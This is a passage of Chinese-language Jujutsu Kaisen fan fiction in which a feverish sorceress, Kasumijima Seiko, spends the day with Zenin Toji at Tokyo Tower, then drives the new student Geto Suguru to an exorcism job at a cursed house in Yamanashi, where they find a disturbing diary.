但来的这么快属实意料之外,还以为能坚持到学校的。大概是为了坑甚尔开了太多空间缝隙导致判断失误了吧。
呜。报应——!!
她闭上眼。
脑袋好痛,像是有根针在细细刺着,喉咙也又干又涩。
是不是感冒了啊……
“啊啾——”
霞岛星紘打了个喷嚏,吸了吸鼻子后,感觉自己好像恢复了一些身体的控制权。
她起身观察周围。
是个类似于办公室的房间,除了她身下的沙发外,只有一张办公桌和一把转椅。透过办公桌后面的巨大落地窗看过去,办公室楼层不高,建立在热闹的街边,打着伞的人群在街上熙熙攘攘。
吱呀一声。
身后的门被打开了。
“你醒了啊。”
走进来的男人一头黑色短发,身穿黑色西装,眼眸半垂,留着八字胡茬,嘴里叼着烟。
霞岛星紘看了他几秒,弯眸道:“是你救了我吗?谢谢。”
男人似乎没想到她会直接道谢——还以为会出现那种‘你是谁’‘我在哪我为什么会出现在这里’的桥段,一时间有些征愣。
“啊……不是不是,”反应过来后男人摆手否认,“救你的家伙跑去赌/马了。”
把人带过来,任性的留下一句放你这了就把人丢下离开。
再怎么说他这也是正经公司啊,按时缴税的,又不是什么奇奇怪怪收容所,真是……
孔时雨叹了口气,“禅院甚尔,你认识么?”
“甚尔?”
不仅认识,还是直呼名字的关系吗。不会又是之前的风流债吧?
富婆爱上小白脸后找到他这里的情况,孔时雨可不想体验第二次了,虽然对方的脸看起来很年轻,但那家伙可没什么道德底线。
“先说好——我和他不熟。”
“啊…好。”
虽然不知道对方为什么会这么说,霞岛星紘还是点了点头。
她转过身时,孔时雨才看清对方偌大外套下的校服。
还是学生啊…
因为感觉孤男寡
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女相处一室不合适,女生在沙发上躺了多久,他就在外面抽了多久的烟,反正房间里开了暖气,也不用担心人被冻死。
他斟酌了一会道:“外面还在下雨,你要是想休息就再睡一会,想回去我就给你叫出租车。”
“甚尔会回来吗?”
孔时雨有些苦恼的抓了抓头发:“这种事我怎么知道。大概率不吧。”
“那我就先离开了。”霞岛星紘说着,纤细手指在空中划出一道痕迹——
是咒术师啊。
孔时雨后知后觉。
啊不对,禅院怎么会和咒术师扯上关系?
那道痕迹逐渐拉长、扩大,直到她稍稍弯腰便能钻进去的大小。
“感谢你的收留,再见。”
紫发女孩朝他挥手,下一秒,身影彻底消失在房间,留下一脸疑惑的孔时雨。
过了许久,孔时雨又点了根烟,烟雾在眼前氤氲缭绕,他缓缓吐出一口气,走到窗边。
算了,反正和他也没什么关系。
*
男人靠坐在休息区的塑料椅子上,两条腿大大咧咧地敞着,鞋尖毫无顾忌的抵着面前椅子的铁架,被他压的咯吱作响。
他耷拉着眼皮,目光散漫的投向远处看台。
看台上飘着的彩色旗帜在风中胡乱摆动。
又输了。
禅院甚尔随手丢掉赌/马卷,听着周围人或庆祝或哀鸣的声音,不耐的啧了一声。
这次原本十拿九稳,谁知道压的那匹马在最后关头摔了一跤。
戒赌吧……是不可能的。
他揉着头发,单手插兜慢悠悠走了出去。
刚出大门,一把黑色的伞便被举到自己头顶。
紫发女生正努力的踮起脚尖,试图将伞举的更高以弥补两人之间身高的差距。欢快清脆的声音从耳边响起:“甚尔——”
霞岛星紘来之前换了一身衣服。
姜黄色的碎花吊带外是宽松的米白色针织开衫,下面搭了一条浅蓝色牛仔裤和棕色小短靴。
“我等了好久喔……他们说小孩子禁止入内,哇,我明明都已经出示驾驶证了竟然还不让我进去,是不是好过分?”
禅院甚尔睨了她一眼。
雨天是阴沉的。阳光被乌云掩埋,人们的表情也被雨伞遮盖。
她就像一束明亮的光芒,突兀却又和谐的闯入视野。
紧接着,这一束光芒忽然凑近,雨伞在动作下缓缓斜移,雨滴透过针织衫的镂空落在她的皮肤上,而一个微凉的吻落在他的脸上。
人是怎么能做到说着说着就亲过来的?
禅院甚尔不解,但是也没推开她。
他这人容易变通,对待金/主的态度可以软一点。
禅院甚尔想到刚才刷卡时看到的余额,原本输掉赌/马的心情都因此恢复了许多。
谁会和一串0过不去呢。
“怎么,在外面等半天就是为了做这个?”
“我来道谢呀,甚尔没有把我丢在那里,我超开心的。”
他轻笑,“举手之劳。”
女生似乎很吃这一套,埋进他怀里,双臂紧紧箍着他的腰。
一动不动。
呼吸在胸口像是一团团炙热的火焰,隔着衣服的布料直接浇在皮肤上。就这样维持了大概五分钟,禅院甚尔忽然嗅到了一丝不同寻常的气息。
是人类病痛时特有的,带着几分甜腻的灼热感。
抬起头,看到的是一张面颊通红、眼神涣散的脸。
男人冰凉的手覆盖在她的额头,得出结论。
——发烧了。
5. No.5
禅院甚尔没生过病,也没照顾过生病的人,但基本常识是有的。
看着怀里晕晕乎乎的女生,他本打算叫个车将人送去医院。
“不·要——”
霞岛星紘撑着他的胸肌隔开一段距离,语气坚决。
但很快又软了表情,眉眼弯弯的好像要融化了般:“我马上就要去出任务了,至少这两个小时让我和甚尔待在一起吧。感冒也好、发烧也罢,只要能看到你就自然而然的痊愈了啊。”
怎么可能。
“…烧糊涂了吗。”禅院甚尔淡淡的说。
“没有!”
嘴上说着没有,表现出来的却是糊涂的模样,毛茸茸的脑袋在他胸前蹭啊蹭,念叨着“不要把我送走呜要和你在一起”之类的话。
他们这对组合在赛马场外很奇怪,非常奇怪。
看起来像是沉迷赌/博的丈夫被自己女儿抓了个现行后,女儿痛诉做爸爸的失败,然后哭着求他不要丢下自己和妈妈。
以上并非禅院甚尔脑补,是他已经听到有人在这么议论了。
不远处聚集的人堆对着他指指点点。
只是因为他怀里的家伙,脸和个子完全就是一副初中生的模样。
禅院甚尔问她:“别蹭了,想去哪?”
“东京塔。”
“?”
这种时候就算说酒店也比东京塔好吧。
“我开车来的。”霞岛星紘松开了握着的伞,转去牵男人的手。一开始只是握住他的拇指,然后是食指,最后插/入指缝中,十指相握。拇指甚至刻意的在他的虎口处摩挲,有些痒,“一起去嘛。”
啊,是这个意思啊。禅院甚尔了然。
目光落在他的脸上,看雨滴顺着男人的睫毛落下,霞岛星紘有些奇怪的欸了一声,全然忘记是自己丢的伞,担心道:“淋雨可不行啊,会感冒的。”
“知道了。”
“甚尔的衣服湿了。”
“嗯。”
“不然还是先去买衣服吧……”
禅院甚尔扫了眼似乎忍耐不住正义之心想要上前阻止的路人,见她磨磨蹭蹭不愿意动,便捧起她的脸,低下头,在路人震惊的目光中用行动解释了两人的关系。
“唔……”鼻塞令霞岛星紘呼吸不顺,有些抗拒。
湿漉漉的眼睛看着他,半推半就的,就当是抗拒吧。
禅院甚尔懒得深究,搂着她的肩,强硬的带人往停车场走去。
“哪辆?”
霞岛星紘从兜里掏啊掏,拿出车钥匙按了一下,接着便被人塞进了副驾。
等到暖气吹到脸上时,她才从乱成浆糊的脑子里揪出清醒。
暖风直吹,烤的皮肤焦热,霞岛星紘用衣服当扇子,发现没什么用后干脆脱掉了外衣。
她看着手搭在方向盘上的禅院甚尔有些惊讶:“甚尔,你会开车啊。”
男人顿了顿,应了一声,便迎来了一声夸赞——
“开车的甚尔超帅!”
禅院甚尔看着丝毫未动的汽车,敷衍道:“嗯。”
没对待过生病的人,但她看起来和喝多了也没什么区别。
说到后者,禅院甚尔就有经验了。
总有些人喜欢事前喝点酒。
禅院甚尔不是什么都不懂的毛头小子。
再者,她已经给足了暗示——不就是希望去车上吗?金/主的期望……禅院甚尔还是很有‘职业道德’的。
他没熄火,原本也只是为了将暖气打开。
禅院甚尔调后了座椅,腾出腰部以下的位置。
跑车,空间有限,不过这样也差不多了,勉强能施展开。
霞岛星紘乖巧坐在座位上,手托着下巴看他做这些,瘪了瘪嘴,“抱歉哦,我以为跑车会拉风一点的……下次我换一辆大一点的车。”
“不碍事。”
霞岛星紘看了一会,眯起眼睛好像在思考。
他的手臂蓦地被贴上了带着香气的身躯。
对方几乎趴在他身上,柔软的重量紧压着大腿,吊带空出的部分露出修长脖颈,与背沟相连,形成一道漂亮的曲线。
她不安分的动着,布料摩擦发出窸窸窣窣的声音。
至少也要坐过来吧。
这副样子怎么看都不是他去服务她的模样。禅院甚尔想。
刚想叫人坐过来——禅院甚尔身前忽然多了一重束缚感。
“要系好安全带哦。”
霞岛星紘将拉过来的安全带插/入扣槽中,满意的拍了拍后,起身坐正。
她右手握拳高举,声音活泼洋溢——
“出发!东京塔!”
哈……。
禅院甚尔放在腰带上的手一顿。
这算什么,欲擒故纵吗?
*
不是。
这家伙,是真的想来东京塔。
禅院甚尔看着霞岛星紘从钱包里掏出钞票,兴致勃勃的买了两张DIAMOND TOUR门票后,又去买了两个甜筒,将其中一个递到自己面前。
一口咬下去,甜筒消失了一大半,再看她手中的,不过轻伤。
大概是工作日的缘故,东京塔里的人并不多,拒绝了陪同工作人员后,电梯都是两人单独乘坐的。
机械性的女声在狭窄的空间里介绍着须知,电梯是透明的,穿过层层叠叠的红色建筑,能在上升中眺望东京的景色——但外面雨蒙蒙黑压压一片,只能透过玻璃的倒影看到两人的身影。
禅院甚尔还是第一次来这里。
他平时没那个闲心去逛所谓的地标性建筑,甚至不知道为什么霞岛星紘会选择来这里,不过他也无所谓。
两人没有停留,而是直接去了250m的高层。
雨天将城市蒙上了一层轻薄而神秘的纱幔。高楼在雨雾中若隐若现,平时闪耀着光泽的建筑,在雨滴的勾勒下变得模糊。
从天而降的水流在玻璃幕墙上流淌,划出一道道细密的痕迹。
霞岛星紘静静地看了一会,忽然笑了起来:“今天下雨真的太好了呢。”
禅院甚尔站在她身边,“嗯?”
她故作神秘的将手握拳,放在唇边轻咳一声,“我有想给甚尔看的东西哦,你能先把眼睛闭起来吗?”
说完后,拉着他坐在座椅上,又将手虚掩在他眼前几公分的位置。
禅院甚尔向后一靠,由她摆弄。
“三——”
声音是从耳边响起的,带着微弱的气息,吹打在耳垂的位置。
“二!”
男人侧瞥,看到那双漂亮的金色眼睛直视着前方,发出耀眼的光芒。
“一。”
双手移开。
禅院甚尔发现,原来那仿佛
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带着无尽生机与力量的颜色,是太阳在她眼中的折射。
就在这一瞬间,金色的光芒如利剑般穿透雨雾,倾泻而下。
阳光洒在东京塔上,玻璃如同被点燃的火焰,淬炼出细碎宝石在空中跳跃。远处街道上的积水泛起金色波纹,车辆行驶穿过,水花变成了悬空绽放的花火。
禅院甚尔的视力很好,将一切都看的清清楚楚。
明明是坠落的夕阳,却过于闪耀的像是初升的朝阳。
“用这个当作谢礼会不会有些无聊……”霞岛星紘将下巴抵在他的肩膀上,鼓起脸颊,“实在想不出什么好的方法,啊,听说在雨过天晴的瞬间亲亲会变得很幸福。”
禅院甚尔收回投向远处的目光,侧头:“谁说的?”
“一分钟前的我。”
她嘿嘿一笑,在禅院甚尔的脸颊上亲了一下。
“甚尔已经会变得幸福了哦。以后每一个雨天,我都会为这个幸福续费的,怎么样?”
面对着如此天真的话语,看着如此天真的表情,男人眼眸低垂,喉结滚动,却没说出好或是不好。
寂静中,一滴滚烫的红色液体掉落。
“啊……”霞岛星紘一愣,再去捂鼻子已经来不及了。
像是找到了避开话题的机会,禅院甚尔挑眉:“你是笨蛋么?”
“我以为已经没事了。”但果然,更改自然界规律是得不到好下场的。
霞岛星紘试图抬起头,却被拉着手臂整个人朝男人方向扑过去。
鼻血的痕迹挂在人中位置,他抬手抹上去,连带着柔软的上唇都被按住挤压。
“真惨。”
……不要看了啦,怪害羞的。想这么说的霞岛星紘,却在看到男人的眼睛后,突兀的问了句:“甚尔喜欢吗?——太阳。”
他对这个问题投来不解的目光:“这玩意能用喜不喜欢来评价吗?”
没有太阳会死的吧。
“嗯……那就加个前缀,我让甚尔看到的太阳,你会喜欢吗?”她摸了摸鼻尖,发现没有再继续流后,坐到男人身边,“和普通的太阳不一样,现在的天空,云彩,阳光,空气,温度,全部都充斥着我的咒力。”
“而这些,是单独为甚尔绽放的哦。”
她又站起身,像个闲不住的小孩,站在禅院甚尔面前,表情羞涩又认真。
“我很感谢你。”
只是因为没把她丢在那?也太大礼了吧。
啊……原来咒术师里还有这么单纯的家伙存在。
“不用谢。”禅院甚尔勾了勾唇,却选择说出事实,“本来也只是金钱交易吧,你给的足够多了,犯不着伤害身体让我看这种……美景。”
的确美丽,他不否认。但的确没必要。
禅院甚尔碾着指肚上的血渍,悠悠地想。
金色的眼睛似乎在消化他的话。
他说的很清楚,这样应该能彻底明白了吧?
“金钱…交易吗。”霞岛星紘重复着,忽然另辟蹊径,“金钱也好,反正能证明我和甚尔之间是有联系的——太好了呢。”
“……哈?”
“人和人之间啊,只要建立了联系就不会再断开了。”她双手背后,眼里满是欢喜。
“我喜欢甚尔哦,超级喜欢,什么关系都好,只要与你有关,我都会欣然接受的。”
她这么说。
6. No.6
已经…两个小时了。
夏油杰站在车站前,右手边是他的一小包行李,原本是拎着的,但在漫长的等待中,已经放下与水泥地面作伴了。
因为提前来学校报道,夜蛾老师联络他的时候说会有专人来车站接他——原话说是一位个人特色很明显的人,一眼就能认出来。
但两个小时过去了,个人特色明显的人见到了不少,却没有一个开口和他讲话。
难道,是自己记错时间了?
夏油杰抬起头,烈日已经有一大半藏在了远处的建筑后,初秋时节,被光阳照射不到的时间都变得有些萧瑟,他穿着薄薄的古巴领短袖和黑色九分裤,青少年偶尔会突然冒出来的悲春伤秋,被忽然从面前飞速行驶过去的跑车带起的冷风打断。
夏油杰打了个冷颤。
早知道就穿个外套了……这样下去会感冒的吧?
正想着,刚才那辆车居然倒了回来。
敞篷车内,红框眼镜下,一双乍眼的金色瞳孔朝他眨了眨。
“夏油杰?”
紫发少女身穿高专校服,额头上粘着一张退烧贴,嘴里含着一根棒棒糖——说话时被她用舌尖拨弄到一边,左侧脸颊微微鼓起。
她右手手背扎着蓝色针头,管路蜿蜒绕过换挡杆,最终连接到挂在椅背上的药袋中。
……这么一看,这位的风格的确比他之前遇到的那几位要更加独特。
“你好,”夏油杰礼貌打招呼,然后指了指女生白皙的手背,“前辈,回血了。”
应该…是前辈吧?
光看脸感觉有点像初中生,但既然能开车,就说明年龄是比他大的。
“啊,”女生低下头屈起手看了几秒,竟是直接一把拔掉针头。
“没事,上车吧,包放在前面。”
她颔首,夏油杰的注意力从女生转移到这辆引人注目的黑色跑车上。
法拉利F430,今年新出的款式,落地价要六千多万。
前段时间杂志上大幅篇章报道,掀起一阵不小的热潮。
鉴于超跑是后置引擎,储物空间因而被安排在车体前段。在夏油杰走近时女生按下按钮,前盖咔哒一声缓缓开启一丝缝隙。夏油杰单手提起行李,找到固定的拨片,推开,将盖子抬了起来。
嗯,幸亏之前初中同学们闲聊这辆车时听了一嘴,不然可能要丢人了。
夏油杰暗自庆幸。
他的目光下落,看向前备箱内部——
只见一个五花大绑、被胶布缠住嘴巴的男人,随着光线照射进来的一刹那,原本死气沉沉暗淡无光的眼睛在看清来者是陌生的夏油杰后,瞬间闪烁出希望的光芒,开始剧烈挣扎:
“唔、唔唔,唔!!!”
“?”
夏油杰拿着行李的手僵在半空。
女生从车窗探出身子,她盯着面色平静但应该是cpu过载呆住的夏油杰几秒,被糖果甜浆染的粉红的唇轻启:“哦…surprise。”
啊哈哈……惊喜么?
是惊吓吧。
这位前辈的风格还真是……令人发指(褒义)。
夏油杰默默关上车盖。
“我是四年级的霞岛星紘,叫我霞岛就行。”
他屈膝坐好,将安全带系上时女生说。
“啊…好的,我是夏油杰。”
虽然对方知道自己的身份,但感觉还是做一次正规的自我介绍比较礼貌的夏油杰抬头道。
近距离看,霞岛前辈的金色眼睛似乎要更加耀眼。
如同黎明中天际线溢出的第一缕流光,瞳孔便成为了散发出光芒的朝日。
是寻常人绝对不会拥有的颜色。
是特殊的。
眼前的这位前辈,是自己的同类啊。
夏油杰忽然就有了这样的真实感。
他已经从‘那个世界’踏入了‘这个世界’之中。
不再是孤身一人——
啊,稍稍有些紧张。
夏油杰好像能听到自己的心跳。
“嗯嗯夏油同学,”霞岛星紘解除电子手刹,在两个座位中间标着‘launch’的按钮上按了一下,“抱歉啊。”
她嘴上说着,膝盖下压,将油门与刹车同时狠狠踩下。
以为对方在为迟到而道歉的夏油杰笑着回应:“没事的。”
霞岛前辈应该是收到了紧急任务,不得已才会发生这种事。他理解。
但霞岛星紘看起来有点惊讶,声音都有些迟疑: “那我们出发了?”
“好的——”
夏油杰的回应在对方松开油门的那一刻,被引擎瞬间爆发出的震耳欲聋的轰鸣声吞没。
弹射起步的豪车犹如一头被唤醒的猛兽,从四面八方灌进来的冷风将后坐力作用下紧贴座椅的夏油杰的头发全部糊在脸上。
夏油杰:……。
早知道就不抹发胶了。
打在脸上,还蛮疼的。
“请问,大概需要多长时间?”
他看向认真飙车的霞岛星紘,对方的手明明没有大幅度动作,但车就像是轻飘飘的塑料制成一样乱晃。
“两个小时吧。”
这么远的吗?夜蛾老师好像说过,学校坐落于深山之中……但两个小时,都能出东京了吧?
“到山梨。”霞岛星紘补充。
“……欸?”
夏油杰愣住。
“…什么?”
夏油杰迷惘。
“山梨?”
夏油杰发出疑问三连。
“所以我道歉了啊。”
霞岛星紘手指点了点方向盘,侧头转向夏油杰,嘴唇微张——喀嚓一声咬碎了棒棒糖的圆球。
她将纸棍扔出车外,舌尖舔掉粘在唇边的碎屑,笑容明媚。
“私自把新生带出来做任务,被发现后要替我说好话哦,夏油同学。”
“……?”
这种事不该在道歉之前说吗……霞岛前辈。
*
发动机在驶入服务区后获得了短暂的休息时间。
夏油杰站在洗手池前,看着镜子里面如菜色略显狼狈的自己,手伸到涓涓水流下,捧起一掌,啪的拍在脸上,水花四溅。
毕业后刻意留长的黑发,经历了高速的狂风呼啸发现乱糟糟到无法拯救后,干脆解开了头绳任其散落,如狼尾般自然垂在脖颈下方的发丝微微外翘。
夏油杰抬手,将额前几缕被水打湿的碎发向后一撩,露出光洁的额头与一双琥珀色眼眸。
因为刚才的干呕,他眼角泛着点点潮红。睫毛浓密却沉重地半压着,在眼下投出浓重的阴影,像是被倦意压垮的蝶翼。
夏油杰很少有晕车的时候,显然,霞岛前辈的车技成为了特例。
上一次有这种强烈不适的呕吐感,是第一次吞下咒灵。
夏油杰闭了闭眼睛。
回忆是深刻的,猛烈的。
忽然冲入脑海中的味道,与晕车的感觉掺杂在一起——
更想吐了……
饿了一整天,肚子里没有一点食物的夏油杰蹲下身,通过挤压胃部来让自己舒服些。
等待少年终于做好心理建设与自我安抚走出卫生间时,已经过去十分钟了。
前辈,应该等着急了吧…
夏油杰快速而又大步的走到停车场,却发现车位上多了好几个陌生人。
有染着金发的,也有在禁止吸烟指示牌立于眼前却视而不见叼着烟的,还有一位耳朵上挂着十几个耳钉的男人,紧贴女生高谈阔论,看脸上的笑,大概率没吐出什么好话。
霞岛前辈小小一只,被围在中间。
“小妹妹,车不错呀,借给哥哥们玩一玩?”
金发拍了那人一下:“你看你,真不会说话,怎么能冷落小妹妹呢,当然是两个一起玩…”
一只陌生的手搭在金发肩膀上,打断了他的话。
“谁啊?”金发不爽回头,只见一个黑发男生正笑眯眯的盯着自己。
笑容,这种带有天然亲和力的表情,在对方身上却像是被镀上了一层阴影,看起来十分骇人。
“想玩什么?带我一个吧。”黑发男生吐字缓慢而清晰,语气温润。
“哈?你?你算什么东西——”金发试图拍开他的手。
可明明只是看似随意的一搭,却无论如何都甩不掉,不仅如此,力道还越来越大,手指仿佛插进了骨头的缝隙般,令金发疼的呲牙咧嘴,感觉半边身子都没了力气。
“嘶疼疼疼疼——放手!老子让你放手…!!”
任凭金毛如何摆脱,那只手都牢牢嵌在自己肩膀上。
“真是没用。”旁边的耳钉男啧了一声,“还是个小鬼,别得意忘形了啊!!”
耳钉男嚷嚷着,一拳挥过来。
夏油杰镇定自若,视线早就分析好了对方攻击过来的路线。
但在即将打过来时,一根只剩半截的薯条忽然出现在耳钉男拳侧,触碰到肌肤的刹那,耳钉男仿佛遭遇了一股无形的力量,整个人骤然偏离,与夏油杰擦肩而过,最终狼狈地跌倒在地。
“好些了吗?”
夏油杰顿了两秒,才反应过来咬着薯条的霞岛前辈在和自己说话。
“已经没事了。”他笑了笑,笑容比起刚才多了些真心实意。
“真可靠啊,夏油同学。”霞岛星紘拍了拍手上的残渣,夸赞道。
被当成空气的吸烟男目睹了全过程——虽然他不明白金毛为什么会被一只手限制住,也不明白一根软趴趴的薯条是如何将人打倒,但他知道,自己和朋友们大概是惹到了不太好惹的家伙。
于是紫发女生看过来的那一刻,吸烟男识时务的高举双手:
“请饶了我吧。”
霞岛星紘本来就没打算对他出手。因为自己并没什么威慑力又稚嫩的脸,这种事情她遇到了太多次了。虽然被当成小孩子很不爽,但久而久之也就习惯了,偶尔还能靠自己的脸获得店员的热情投喂。
“这里禁止吸烟。”她说。
本意是为了保护后辈干净的肺部。
“好的。”
吸烟男嘎巴嘎巴把烟头吃进去了。
霞岛星紘咀嚼薯条的动作顿住,眼里浮现出一丝不解。
*
目送三人一瘸一拐的离开,夏油杰走到霞岛星紘身边:“前辈,没事吧?”
“用来打发时间还不错。
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”霞岛星紘说着,将放在车盖上印着大写字母M的鼓鼓囊囊的纸袋递给他,“不知道你喜欢什么口味的汉堡,就都买了一份,挑你喜欢的吃吧。”
“啊。”
其实他不挑食来着,而且,这也太多了……
“一个都没有吗?”霞岛星紘误解了后辈迟疑的意思,思索片刻给出了解决方案:“那我们去家庭餐厅吃,那里的儿童套餐还会随餐附赠玩具。”
完全被当成小孩子了啊——
夏油杰连忙从袋子里随便拿了一个出来,“我吃这个就好。”
霞岛星紘见他没有勉强的意思,便点点头,两人背靠着车,拆开包装,同步吃起了汉堡。
起初的几口还不显,但随着空荡荡的胃里接收到食物讯息,饥饿感又冒出了头。
一个汉堡快速下肚,夏油杰舔掉唇角的塔塔酱,想了想,还是拿出了第二个。
——一会就算又晕车吐掉,吐出汉堡残渣也比胃酸要强的多。
所有汉堡都在他怀中的纸袋里,想着也许霞岛前辈也没有吃饱,夏油杰便多拿了一个出来,“前……”
两个字还没说出口,夏油杰忽然止住了话头。
霞岛前辈还在认真吃着汉堡。
能被他单手轻松拿住的汉堡,对方却需要用双手,没有刻意小口去咬,甚至能感觉到对方在努力大口去吃,但只是在汉堡上留下一个小小的缺口,脸颊就已经塞满了。
霞岛前辈,好小啊。
夏油杰收回目光,咬下面包酱汁肉和菜都有的完美一口,脑袋里却不由自主的想。
就连身高也只到自己胸口,停进车位的时候甚至要起身才能看到有没有压线。
一想到前辈要从高高的柜台上抱起这么高的袋子,再努力的走到车边……
抱歉,霞岛前辈。
夏油杰在心里说。
觉得那副场景太可爱了,真是抱歉。
夏油杰解决完第二个汉堡时,霞岛星紘也咽下了最后一口。
“这些剩下的汉堡…”
霞岛星紘想了想,朝前备箱一抬下巴:“给他吃吧。”
夏油杰:“……”
差点忘了还有个人。
天气渐凉,空间里也有透气孔,被绑起来的男人虽不至于窒息和中暑,但长时间维持一个姿势也挺难受的。
男人长着一张帅气的脸,苍白的脸色看起来有些憔悴,却刚好符合当下流行的病弱美。
“再怎么说…我都是委托人,至少该让我坐在副驾驶吧?”男人委屈的抬眸,虽然是在埋怨,但语气一点都不生硬。
夏油杰听到对方的话一顿。
……等等,这位竟然是委托人吗?
放在那种地方还被五花大绑起来——夏油杰以为对方是什么为非作歹的坏家伙呢。
“快吃,吃完后就该上路了。”霞岛星紘催促。
夏油杰将汉堡给他。
“啊,谢谢。”男人道,“你也是除灵师吗?”
夏油杰见霞岛星紘没有出言阻止,便点点头,应下了这个称谓。
“我是鹰介悠斗,霞岛小姐应该和你说了吧,这次的委托,是将我家里的‘脏东西’消灭掉。”
嗯……霞岛前辈并没有说。
这么说起来,他好像稀里糊涂的就被带出来了。
这个叫鹰介悠斗的男人似乎有些话唠,没等夏油杰回应便继续自顾自的说:“已经困扰我很久了,两个星期?还是三个星期了?我租的那栋房子里啊,壁橱里总是发出东西掉落的声音,厨房洗手池的管道会向上反出红色液体,更别提前一天刚大扫除擦干净的玻璃,第二天醒来就发现上面被拍满了血手印——一开始我还以为是有谁在恶作剧,但去擦的时候才发现,那个手印是印在窗户里面的!是二层楼诶!而切窗户因为之前漏风的缘故被封死了,是不能从外面打开的。况且……我睡觉浅,如果有人偷偷进来,肯定会发现……”
鹰介悠斗说着,深深的叹了口气。
“我真的不敢再住下去了,幸好朋友给我介绍了霞岛小姐,听说她是业内很有名的除灵师——第一次见到霞岛小姐的时候我吓了一跳呢,没想到对方是这么漂亮又年轻的人……你在听吗?”
他忽然停下了絮絮叨叨。
“我…有什么奇怪的地方吗?”鹰介悠斗歪了歪头,目光直视着夏油杰,问道。
在鹰介悠斗的肩膀上,匍匐着一个巨大而扭曲的影子。
像是由无数个人组成的只有一个头的怪物,数不清的肢体扭曲成不可能的角度,边缘向下滴落着腐臭的粘液,几乎很快就在男人脚边汇聚成了一团。
早在放行李箱的时候,夏油杰就发现了这个咒灵的存在。
但,不能让‘它’知道自己能看到。
深谙此道理的夏油杰刚才明明视线只是习惯性的扫过去了一瞬,没想到鹰介悠斗竟然能发现。
真是个敏锐的人。
夏油杰正准备搪塞过去,却见霞岛星紘忽然站到自己面前。
小小的身影仿佛成为了一道坚固的屏障,彻底隔绝了男人与咒灵。
“再啰嗦个没完,一会真的送你上路哦?”
她抬手,将汉堡怼进鹰介悠斗嘴里。
7. NO.7
鹰介悠斗的家位于山梨县韮崎市,邻近郊区,是一栋偌大的五层别墅。
因为路上接受了巡逻警察的询问,三人抵达的时候天已经黑透了。
“要不……我们明天再来?”鹰介悠斗拿着钥匙,迟迟不敢有下一步动作,“恐怖片里不是说那种东西最喜欢晚上出来吗,我们先去宾馆住一晚吧?”
“我们倒是无所谓,但如果你今晚死掉的话,定金是不退的。”
“……人都死掉了还要定金做什么啦。”鹰介悠斗无奈的看着霞岛星紘,“好吧,那我开门了。”
位于玄关处的开关被按下,原本漆黑一片的走廊被光明充斥,挂在墙上的画像也在众人面前展露。
每一幅画像上都是一位身穿华丽衣服,画着精致妆容的女人,风格各异,或浓烈,或淡雅,或忧郁,她们像是从遥远梦境中走来,静静凝望着每一个路过的人。
而在画像右下方的落款处,标着‘苍月’二字。
“这些,是鹰介先生画的吗?”观察着画像的夏油杰问。
“是啊。”鹰介悠斗笑了起来,提及到这些画时,恐惧感好像少了许多。他的手抚摸过画框,就像是在抚摸一件珍宝,“她们可都是我最重要的宝贝。”
“这样啊。”夏油杰应道。
他对这些艺术品没有太大的兴趣,见霞岛星紘已经往里面走去,说了句‘鹰介先生先留在这里’后便也结束了话题跟了上去。
“能感受到吗?”霞岛星紘站在通往二楼的楼梯口问道。
一踏进屋子时,夏油杰就闻到了这股发霉与腐臭混合的味道——是咒灵的气息。
但他站到霞岛前辈身边的位置时,才发觉一楼气息不过寥寥。
从楼梯口向上望去,二楼就像是夏天经久不处理而变质的垃圾站,腐朽恶臭的黑色气息已经蔓延到了一只脚踏在台阶上的霞岛星紘的脚边。
夏油杰嗯了一声。
“以此为分割线,”霞岛星紘脚尖点地,画出一条线,“向前一步,便踏入了领域,和一般咒灵不同,拥有领域的咒灵实力都很强…夏油,把手给我。”
他听话的将手交给她。
霞岛星紘握紧对方的手,率先向前迈了一步,随后轻轻一拽,将夏油杰也拉入了楼梯之中。
“别松开哦。”
随着霞岛星紘的声音响起,周围的景象发生了翻天覆地的变化。
十数级的台阶已然无踪,脚下转折成泛着诡异青灰色的榻榻米,表面沁出潮湿的水渍,踩上去十分黏腻。两侧窗户棂框印着斑驳的红褐色痕迹,残破的窗纸簌簌作响。
这个房间,好像有些奇怪。
夏油杰想。
似乎要比正常的房间都矮上一些,以他的个子,甚至可以顶到头顶。
里面的摆设杂乱无章,各式各样的柜子顺着墙边放置,能下脚的位置只有小小的一块。
而在房间的左侧,是一个看起来并不起眼的壁橱。
霞岛星紘走上前去,将其拉开。
里面空空如也。
“不是这里么。”霞岛星紘喃喃。
她推开障子,走向下一个但看起来没什么不同的房间。
虽然夏油杰不知道对方在做什么,但依旧乖乖跟在后面。
直到他们进入了第六个房间。
打开壁橱,霞岛星紘嘴角满意的上扬。
淡蓝色光芒自她空出的手中出现,一把镰刀被稳稳抓住。
霞岛星紘将镰刀反过来,在壁橱的顶部戳了戳,一个东西忽然从夹缝中掉落。
是日记本。
霞岛星紘胳膊夹住镰刀,翻开第一页,夏油杰低头看了过来。
【19xx年,x月x日
我结婚了,与房子的租客,他温柔又可靠,总是会出现在我最需要的时候。】
【19xx年,x月x日
我时常想,自己真的配得上他吗?如果这一切都是梦,那拜托了,请不要醒来。】
【19xx年,x月x日
我怀孕了。小一是我们爱的结晶,我好开心。他今天为我们画了肖像画。】
【19xx年,x月x日
怀孕后,我的记忆力减退了很多,身上也总是出现莫名其妙的淤青……希望不会对小一造成伤害】
以下是被当成备忘录稍显混乱的几页。
【买酒(划掉)】
【白色的T恤要手洗】
【咖喱里不要放胡萝卜】
【牢记!牢记!牢记!!】
【19xx年,x月x日
家里有怪东西。】
【19xx年,x月x日
又来了又来了又来了……那种被人盯着的感觉。是我的错觉吗?在家里,我不敢背对着任何一扇窗一扇门,只能靠着墙壁,等待他回来。】
【19xx年,x月x日
墙壁里也有人在盯着我。我要疯了。】
【19xx年,x月x日
不是错觉,不是错觉!!!!】
【19xx年,x月x日
他辞掉了工作,专心陪我。有他在,我好像不怕了。】
日记本被撕了几页,残渣后的那页是一片空白,但之后好像还有内容。
霞岛星紘捻着页脚翻开。
【2000年x月x日】
【杀了我杀了我杀了我杀了我杀了我杀了我杀了我杀了我杀了我杀了我杀了我杀了我杀了我杀了我杀了我……】
整整一页,全部都是这三个字。
字迹由大到小,最终变的难以分辨。
“这是……”夏油杰眉头微蹙。
“好,现在是教学时间。”
霞岛星紘没有解释,她合上日记本,转向夏油杰。
“已知,诅咒种类有咒胎、假想、特定、过咒以及受肉,按其能力又被分为五级。其中拥有生得领域的咒灵,在等级划分上为上级咒灵。而对抗领域的办法有三——逃走,术式对抗,以及领域压制。现在逃走已经来不及了,至于领域压制……夏油同学目前还没有开发出领域吧,那就只剩下最后一种方法——”
